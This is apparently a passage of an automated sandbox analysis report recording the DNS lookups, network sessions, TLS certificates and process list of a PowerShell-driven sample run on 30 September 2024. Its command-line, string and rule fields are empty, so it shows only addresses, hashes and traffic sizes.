| Sep 30, 2024 18:58:25.231288910 CEST | 53 | 54421 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.386668921 CEST | 53 | 60719 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:26.100677013 CEST | 53 | 63006 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.724821091 CEST | 63546 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:28.724821091 CEST | 53236 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:28.731875896 CEST | 53 | 63546 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.731895924 CEST | 53 | 53236 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:32.142822027 CEST | 55033 | 53 | 192.168.2.8 | 1.1.1.1 |
| Sep 30, 2024 18:58:32.151362896 CEST | 53 | 55033 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:43.142417908 CEST | 53 | 63408 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:58:58.147325039 CEST | 138 | 138 | 192.168.2.8 | 192.168.2.255 |
| Sep 30, 2024 18:59:02.110496044 CEST | 53 | 55283 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:59:24.494415998 CEST | 53 | 60301 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:59:24.627409935 CEST | 53 | 58156 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 18:59:52.737497091 CEST | 53 | 52497 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 19:00:37.786712885 CEST | 53 | 63839 | 1.1.1.1 | 192.168.2.8 |
| Sep 30, 2024 19:01:53.897855043 CEST | 53 | 58434 | 1.1.1.1 | 192.168.2.8 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Sep 30, 2024 18:58:21.568511009 CEST | 192.168.2.8 | 1.1.1.1 | 0x3038 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.736318111 CEST | 192.168.2.8 | 1.1.1.1 | 0x1 | Standard query (0) | PTR (Pointer record) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.751010895 CEST | 192.168.2.8 | 1.1.1.1 | 0x2 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.787781954 CEST | 192.168.2.8 | 1.1.1.1 | 0x3 | Standard query (0) | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.825268984 CEST | 192.168.2.8 | 1.1.1.1 | 0x4 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.837553978 CEST | 192.168.2.8 | 1.1.1.1 | 0x5 | Standard query (0) | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.941942930 CEST | 192.168.2.8 | 1.1.1.1 | 0x1 | Standard query (0) | PTR (Pointer record) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.953989983 CEST | 192.168.2.8 | 1.1.1.1 | 0x2 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.986926079 CEST | 192.168.2.8 | 1.1.1.1 | 0x3 | Standard query (0) | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.997920036 CEST | 192.168.2.8 | 1.1.1.1 | 0x4 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:22.011877060 CEST | 192.168.2.8 | 1.1.1.1 | 0x5 | Standard query (0) | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:24.310903072 CEST | 192.168.2.8 | 1.1.1.1 | 0x8496 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:24.886264086 CEST | 192.168.2.8 | 1.1.1.1 | 0x9d3a | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:24.887777090 CEST | 192.168.2.8 | 1.1.1.1 | 0x84d4 | Standard query (0) | 65 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:28.724821091 CEST | 192.168.2.8 | 1.1.1.1 | 0xf94c | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:28.724821091 CEST | 192.168.2.8 | 1.1.1.1 | 0xdafa | Standard query (0) | 65 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:32.142822027 CEST | 192.168.2.8 | 1.1.1.1 | 0xb4d4 | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Sep 30, 2024 18:58:21.580779076 CEST | 1.1.1.1 | 192.168.2.8 | 0x3038 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.747786999 CEST | 1.1.1.1 | 192.168.2.8 | 0x1 | No error (0) | PTR (Pointer record) | IN (0x0001) | false | |||
| Sep 30, 2024 18:58:21.787338018 CEST | 1.1.1.1 | 192.168.2.8 | 0x2 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.824881077 CEST | 1.1.1.1 | 192.168.2.8 | 0x3 | Name error (3) | none | none | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.837192059 CEST | 1.1.1.1 | 192.168.2.8 | 0x4 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.868504047 CEST | 1.1.1.1 | 192.168.2.8 | 0x5 | Name error (3) | none | none | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.951627970 CEST | 1.1.1.1 | 192.168.2.8 | 0x1 | No error (0) | PTR (Pointer record) | IN (0x0001) | false | |||
| Sep 30, 2024 18:58:21.986352921 CEST | 1.1.1.1 | 192.168.2.8 | 0x2 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:21.997402906 CEST | 1.1.1.1 | 192.168.2.8 | 0x3 | Name error (3) | none | none | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:22.011620045 CEST | 1.1.1.1 | 192.168.2.8 | 0x4 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false | |
| Sep 30, 2024 18:58:22.030313015 CEST | 1.1.1.1 | 192.168.2.8 | 0x5 | Name error (3) | none | none | 28 | IN (0x0001) | false | |
| Sep 30, 2024 18:58:24.347410917 CEST | 1.1.1.1 | 192.168.2.8 | 0x8496 | No error (0) | 188.114.97.3 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:24.347410917 CEST | 1.1.1.1 | 192.168.2.8 | 0x8496 | No error (0) | 188.114.96.3 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:25.386668921 CEST | 1.1.1.1 | 192.168.2.8 | 0x9d3a | No error (0) | 203.101.184.118 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:28.731875896 CEST | 1.1.1.1 | 192.168.2.8 | 0xf94c | No error (0) | 142.250.186.132 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:28.731895924 CEST | 1.1.1.1 | 192.168.2.8 | 0xdafa | No error (0) | 65 | IN (0x0001) | false | |||
| Sep 30, 2024 18:58:32.151362896 CEST | 1.1.1.1 | 192.168.2.8 | 0xb4d4 | No error (0) | 162.159.135.234 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:32.151362896 CEST | 1.1.1.1 | 192.168.2.8 | 0xb4d4 | No error (0) | 162.159.136.234 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:32.151362896 CEST | 1.1.1.1 | 192.168.2.8 | 0xb4d4 | No error (0) | 162.159.130.234 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:32.151362896 CEST | 1.1.1.1 | 192.168.2.8 | 0xb4d4 | No error (0) | 162.159.133.234 | A (IP address) | IN (0x0001) | false | ||
| Sep 30, 2024 18:58:32.151362896 CEST | 1.1.1.1 | 192.168.2.8 | 0xb4d4 | No error (0) | 162.159.134.234 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port |
|---|---|---|---|---|
| 0 | 192.168.2.8 | 49707 | 217.20.57.18 | 80 |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Sep 30, 2024 18:58:19.724209070 CEST | 1236 | IN | |
| Sep 30, 2024 18:58:19.724239111 CEST | 224 | IN | |
| Sep 30, 2024 18:58:19.724248886 CEST | 1236 | IN | |
| Sep 30, 2024 18:58:19.724260092 CEST | 1236 | IN | |
| Sep 30, 2024 18:58:19.724272013 CEST | 448 | IN | |
| Sep 30, 2024 18:58:19.724430084 CEST | 448 | IN | |
| Sep 30, 2024 18:58:19.724828005 CEST | 817 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.8 | 49708 | 188.114.97.3 | 80 | 6588 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Sep 30, 2024 18:58:24.903947115 CEST | 197 | OUT | |
| Sep 30, 2024 18:58:25.237471104 CEST | 912 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.8 | 49720 | 188.114.97.3 | 80 | 7656 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Sep 30, 2024 18:58:28.957549095 CEST | 200 | OUT | |
| Sep 30, 2024 18:58:29.452848911 CEST | 951 | IN |
| Timestamp | Source IP | Source Port | Dest IP | Dest Port | Subject | Issuer | Not Before | Not After | JA3 SSL Client Fingerprint | JA3 SSL Client Digest |
|---|---|---|---|---|---|---|---|---|---|---|
| Sep 30, 2024 18:58:27.119904995 CEST | 203.101.184.118 | 443 | 192.168.2.8 | 49713 | CN=pakistan.gov.pk CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB | CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB | Fri May 03 02:00:00 CEST 2024 Tue Mar 12 01:00:00 CET 2019 Thu Sep 06 02:00:00 CEST 2018 Thu Jan 01 01:00:00 CET 2004 | Thu Oct 03 01:59:59 CEST 2024 Mon Jan 01 00:59:59 CET 2029 Wed Sep 06 01:59:59 CEST 2028 Mon Jan 01 00:59:59 CET 2029 | 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,11-45-65037-43-65281-10-27-23-13-17513-51-16-18-5-35-0-21,29-23-24,0 | 142a7ae0d522cf014cb818fbbff68a84 |
| CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US | CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB | Tue Mar 12 01:00:00 CET 2019 | Mon Jan 01 00:59:59 CET 2029 | |||||||
| CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV | CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US | Thu Sep 06 02:00:00 CEST 2018 | Wed Sep 06 01:59:59 CEST 2028 | |||||||
| CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB | CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB | Thu Jan 01 01:00:00 CET 2004 | Mon Jan 01 00:59:59 CET 2029 |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.8 | 49712 | 188.114.97.3 | 443 | 6588 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-09-30 16:58:25 UTC | 197 | OUT | |
| 2024-09-30 16:58:26 UTC | 882 | IN | |
| 2024-09-30 16:58:26 UTC | 263 | IN | |
| 2024-09-30 16:58:26 UTC | 5 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.8 | 49722 | 188.114.97.3 | 443 | 7656 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-09-30 16:58:29 UTC | 200 | OUT | |
| 2024-09-30 16:58:30 UTC | 660 | IN | |
| 2024-09-30 16:58:30 UTC | 709 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN | |
| 2024-09-30 16:58:30 UTC | 1369 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.8 | 49725 | 162.159.135.234 | 443 | 7656 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-09-30 16:58:32 UTC | 187 | OUT | |
| 2024-09-30 16:58:32 UTC | 622 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.8 | 49729 | 52.165.165.26 | 443 |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-09-30 16:58:38 UTC | 306 | OUT | |
| 2024-09-30 16:58:38 UTC | 560 | IN | |
| 2024-09-30 16:58:38 UTC | 15824 | IN | |
| 2024-09-30 16:58:38 UTC | 8666 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.8 | 49732 | 52.165.165.26 | 443 |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-09-30 16:59:15 UTC | 306 | OUT | |
| 2024-09-30 16:59:16 UTC | 560 | IN | |
| 2024-09-30 16:59:16 UTC | 15824 | IN | |
| 2024-09-30 16:59:16 UTC | 14181 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 12:58:18 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6cb6b0000 |
| File size: | 452'608 bytes |
| MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 1 |
| Start time: | 12:58:18 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6ee680000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 3 |
| Start time: | 12:58:20 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\PING.EXE |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7fe300000 |
| File size: | 22'528 bytes |
| MD5 hash: | 2F46799D79D22AC72C241EC0322B011D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | true |
| Target ID: | 4 |
| Start time: | 12:58:20 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\nslookup.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff645190000 |
| File size: | 89'600 bytes |
| MD5 hash: | F2E3950C1023ACF80765C918791999C0 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | true |
| Target ID: | 5 |
| Start time: | 12:58:20 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\nslookup.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff645190000 |
| File size: | 89'600 bytes |
| MD5 hash: | F2E3950C1023ACF80765C918791999C0 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | true |
| Target ID: | 7 |
| Start time: | 12:58:21 |
| Start date: | 30/09/2024 |
| Path: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff678760000 |
| File size: | 3'242'272 bytes |
| MD5 hash: | 45DE480806D1B5D462A7DDE4DCEFC4E4 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 8 |
| Start time: | 12:58:22 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\svchost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff67e6d0000 |
| File size: | 55'320 bytes |
| MD5 hash: | B7F884C1B74A263F746EE12A5F7C9F6A |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 9 |
| Start time: | 12:58:22 |
| Start date: | 30/09/2024 |
| Path: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff678760000 |
| File size: | 3'242'272 bytes |
| MD5 hash: | 45DE480806D1B5D462A7DDE4DCEFC4E4 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 10 |
| Start time: | 12:58:25 |
| Start date: | 30/09/2024 |
| Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6cb6b0000 |
| File size: | 452'608 bytes |
| MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Yara matches: |
|
| Reputation: | high |
| Has exited: | true |
Function 00007FFB4ADD69AC Relevance: .6, Instructions: 589COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA0139 Relevance: .1, Instructions: 147COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4ADD4EFA Relevance: .1, Instructions: 126COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4ADD37B5 Relevance: .0, Instructions: 49COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Execution Graph
| Execution Coverage: | 2.6% |
| Dynamic/Decrypted Code Coverage: | 0% |
| Signature Coverage: | 0% |
| Total number of Nodes: | 8 |
| Total number of Limit Nodes: | 1 |
Graph
Control-flow Graph
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA15DD Relevance: .6, Instructions: 565COMMON
Download Yara Rule
Control-flow Graph
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA2C71 Relevance: .4, Instructions: 378COMMON
Download Yara Rule
Control-flow Graph
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA52B6 Relevance: .2, Instructions: 212COMMON
Download Yara Rule
Control-flow Graph
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA2CE0 Relevance: .1, Instructions: 115COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA32EA Relevance: .1, Instructions: 109COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4AEA17FD Relevance: .1, Instructions: 90COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| Strings |
|
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00007FFB4ADFC510 Relevance: .5, Instructions: 500COMMON
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|